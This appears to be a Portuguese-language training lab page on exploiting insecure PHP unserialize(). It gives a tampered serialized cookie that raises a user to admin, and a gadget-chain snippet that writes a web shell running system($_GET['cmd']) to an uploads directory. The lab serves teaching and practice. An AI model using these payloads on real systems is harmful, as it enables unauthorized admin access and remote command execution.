📦 PHP Deserialization Lab

Laboratório de exploração de unserialize() inseguro em PHP.

⚠️ Objetivo: Modifique o objeto serializado para definir role = admin e capture a flag.

⚙️ Objeto Legítimo (Base64)

Este é o cookie/payload enviado normalmente:

TzoxNToiVXNlclByZWZlcmVuY2VzIjo0OntzOjU6InRoZW1lIjtzOjQ6ImRhcmsiO3M6NDoibGFuZyI7czoyOiJlbiI7czo4OiJ1c2VybmFtZSI7czo1OiJ1c2VyMSI7czo0OiJyb2xlIjtzOjQ6InVzZXIiO30=

Serializado bruto:

O:15:"UserPreferences":4:{s:5:"theme";s:4:"dark";s:4:"lang";s:2:"en";s:8:"username";s:5:"user1";s:4:"role";s:4:"user";}

🔍 Deserializar Payload

📖 Como Explorar

  1. Copie o objeto legítimo (serializado bruto): O:15:"UserPreferences":4:{...}
  2. Altere s:4:"role";s:4:"user"; para s:4:"role";s:5:"admin";
  3. Lembre de atualizar o comprimento: s:5:"admin" (5 chars)
  4. Encode em base64 e cole no campo acima
  5. Capture a flag!

Payload Malicioso (spoiler):

Mostrar payload
TzoxNToiVXNlclByZWZlcmVuY2VzIjo0OntzOjU6InRoZW1lIjtzOjQ6ImRhcmsiO3M6NDoibGFuZyI7czoyOiJlbiI7czo4OiJ1c2VybmFtZSI7czo2OiJoYWNrZXIiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7fQ==

🔗 Gadget Chain (Logger)

O servidor também possui a classe Logger com um destructor vulnerável que escreve em arquivos arbitrários:

// Cria um Logger que escreve webshell em qualquer path
$gadget = new Logger();
$gadget->logFile = "/var/www/html/public/uploads/shell.php";
$gadget->logData = "<?php system($_GET['cmd']); ?>";
echo base64_encode(serialize($gadget));

⚠️ Só funciona se o processo PHP tiver permissão de escrita no destino.